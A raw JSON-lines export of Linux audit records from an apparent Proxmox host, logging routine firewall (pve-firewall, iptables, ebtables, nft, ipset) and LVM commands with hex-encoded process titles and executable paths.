proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965575472,"@rawstring":"node=pve type=PATH msg=audit(1781965575.472:66195): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105279,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.279:64201): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965575472,"@rawstring":"node=pve type=PATH msg=audit(1781965575.472:66195): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.278:64200): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965575464,"@rawstring":"node=pve type=PATH msg=audit(1781965575.464:66194): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.278:64199): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965575464,"@rawstring":"node=pve type=PATH msg=audit(1781965575.464:66194): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.272:64198): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965575457,"@rawstring":"node=pve type=PATH msg=audit(1781965575.457:66193): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105266,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.266:64197): proctitle=\"ip6tables-save\""} {"@timestamp":1781965575457,"@rawstring":"node=pve type=PATH msg=audit(1781965575.457:66193): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105260,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.260:64196): proctitle=\"iptables-save\""} {"@timestamp":1781965575447,"@rawstring":"node=pve type=PATH msg=audit(1781965575.447:66192): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105252,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.252:64195): proctitle=\"ip6tables-save\""} {"@timestamp":1781965575447,"@rawstring":"node=pve type=PATH msg=audit(1781965575.447:66192): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.246:64194): proctitle=\"iptables-save\""} {"@timestamp":1781965575438,"@rawstring":"node=pve type=PATH msg=audit(1781965575.438:66191): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.243:64193): proctitle=\"ebtables-restore\""} {"@timestamp":1781965575438,"@rawstring":"node=pve type=PATH msg=audit(1781965575.438:66191): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105238,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.238:64192): proctitle=\"ebtables-restore\""} {"@timestamp":1781965575434,"@rawstring":"node=pve type=PATH msg=audit(1781965575.434:66190): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.234:64191): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965575434,"@rawstring":"node=pve type=PATH msg=audit(1781965575.434:66190): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.228:64190): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965575427,"@rawstring":"node=pve type=PATH msg=audit(1781965575.427:66189): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105222,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.222:64189): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965575427,"@rawstring":"node=pve type=PATH msg=audit(1781965575.427:66189): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105218,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.218:64188): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965575424,"@rawstring":"node=pve type=PATH msg=audit(1781965575.424:66188): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105212,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.212:64187): proctitle=697073657400726573746F7265"} {"@timestamp":1781965575424,"@rawstring":"node=pve type=PATH msg=audit(1781965575.424:66188): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105206,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.206:64186): proctitle=\"ip6tables-save\""} {"@timestamp":1781965575424,"@rawstring":"node=pve type=PATH msg=audit(1781965575.424:66187): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105200,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.200:64185): proctitle=\"iptables-save\""} {"@timestamp":1781965575421,"@rawstring":"node=pve type=PATH msg=audit(1781965575.421:66186): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105196,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.196:64184): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965575421,"@rawstring":"node=pve type=PATH msg=audit(1781965575.421:66186): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105194,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.194:64183): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965575421,"@rawstring":"node=pve type=PATH msg=audit(1781965575.421:66186): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.192:64182): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965575411,"@rawstring":"node=pve type=PATH msg=audit(1781965575.411:66185): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.192:64181): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965575411,"@rawstring":"node=pve type=PATH msg=audit(1781965575.411:66185): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105188,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.188:64180): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965575404,"@rawstring":"node=pve type=PATH msg=audit(1781965575.404:66184): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105182,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.182:64179): proctitle=\"ip6tables-save\""} {"@timestamp":1781965575404,"@rawstring":"node=pve type=PATH msg=audit(1781965575.404:66184): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105174,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.174:64178): proctitle=\"iptables-save\""} {"@timestamp":1781965575397,"@rawstring":"node=pve type=PATH msg=audit(1781965575.397:66183): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.170:64177): proctitle=69707365740073617665"} {"@timestamp":1781965575397,"@rawstring":"node=pve type=PATH msg=audit(1781965575.397:66183): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105162,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.162:64176): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965575385,"@rawstring":"node=pve type=PATH msg=audit(1781965575.385:66182): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105154,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.154:64175): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965575385,"@rawstring":"node=pve type=PATH msg=audit(1781965575.385:66182): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965104486,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965104.486:64174): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965575374,"@rawstring":"node=pve type=PATH msg=audit(1781965575.374:66181): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965104457,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965104.457:64173): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965575374,"@rawstring":"node=pve type=PATH msg=audit(1781965575.374:66181): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101787,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965101.787:64172): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965574136,"@rawstring":"node=pve type=PATH msg=audit(1781965574.136:66180): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101787,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965101.787:64171): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965574136,"@rawstring":"node=pve type=PATH msg=audit(1781965574.136:66180): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101787,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965101.787:64170): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965574112,"@rawstring":"node=pve type=PATH msg=audit(1781965574.112:66179): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101781,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965101.781:64169): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965574112,"@rawstring":"node=pve type=PATH msg=audit(1781965574.112:66179): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101781,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965101.781:64168): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965573518,"@rawstring":"node=pve type=PATH msg=audit(1781965573.518:66178): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101780,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965101.780:64167): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965573518,"@rawstring":"node=pve type=PATH msg=audit(1781965573.518:66178): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965096.772:64166): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965573518,"@rawstring":"node=pve type=PATH msg=audit(1781965573.518:66177): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965096.772:64165): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965573518,"@rawstring":"node=pve type=PATH msg=audit(1781965573.518:66176): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965096.772:64164): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965573512,"@rawstring":"node=pve type=PATH msg=audit(1781965573.512:66175): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096765,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965096.765:64163): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965573512,"@rawstring":"node=pve type=PATH msg=audit(1781965573.512:66175): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096765,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965096.765:64162): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965573512,"@rawstring":"node=pve type=PATH msg=audit(1781965573.512:66174): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096765,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965096.765:64161): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965573511,"@rawstring":"node=pve type=PATH msg=audit(1781965573.511:66173): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095142,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.142:64160): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965568499,"@rawstring":"node=pve type=PATH msg=audit(1781965568.499:66172): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095138,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.138:64159): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965568499,"@rawstring":"node=pve type=PATH msg=audit(1781965568.499:66172): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095137,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.137:64158): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965568499,"@rawstring":"node=pve type=PATH msg=audit(1781965568.499:66171): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095137,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.137:64157): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965568499,"@rawstring":"node=pve type=PATH msg=audit(1781965568.499:66170): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.133:64156): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965568490,"@rawstring":"node=pve type=PATH msg=audit(1781965568.490:66169): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095126,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.126:64155): proctitle=\"ip6tables-save\""} {"@timestamp":1781965568490,"@rawstring":"node=pve type=PATH msg=audit(1781965568.490:66169): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.120:64154): proctitle=\"iptables-save\""} {"@timestamp":1781965568490,"@rawstring":"node=pve type=PATH msg=audit(1781965568.490:66168): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095112,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.112:64153): proctitle=\"ip6tables-save\""} {"@timestamp":1781965568490,"@rawstring":"node=pve type=PATH msg=audit(1781965568.490:66167): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.106:64152): proctitle=\"iptables-save\""} {"@timestamp":1781965565361,"@rawstring":"node=pve type=PATH msg=audit(1781965565.361:66166): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095104,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.104:64151): proctitle=\"ebtables-restore\""} {"@timestamp":1781965565361,"@rawstring":"node=pve type=PATH msg=audit(1781965565.361:66166): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.102:64150): proctitle=\"ebtables-restore\""} {"@timestamp":1781965565356,"@rawstring":"node=pve type=PATH msg=audit(1781965565.356:66165): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095096,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.096:64149): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965565356,"@rawstring":"node=pve type=PATH msg=audit(1781965565.356:66165): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.092:64148): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965565356,"@rawstring":"node=pve type=PATH msg=audit(1781965565.356:66164): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095086,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.086:64147): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965565356,"@rawstring":"node=pve type=PATH msg=audit(1781965565.356:66164): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095082,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.082:64146): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965565356,"@rawstring":"node=pve type=PATH msg=audit(1781965565.356:66163): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095076,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.076:64145): proctitle=697073657400726573746F7265"} {"@timestamp":1781965565350,"@rawstring":"node=pve type=PATH msg=audit(1781965565.350:66162): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.070:64144): proctitle=\"ip6tables-save\""} {"@timestamp":1781965565350,"@rawstring":"node=pve type=PATH msg=audit(1781965565.350:66162): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.064:64143): proctitle=\"iptables-save\""} {"@timestamp":1781965565350,"@rawstring":"node=pve type=PATH msg=audit(1781965565.350:66162): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095060,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.060:64142): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965565344,"@rawstring":"node=pve type=PATH msg=audit(1781965565.344:66161): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095056,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.056:64141): 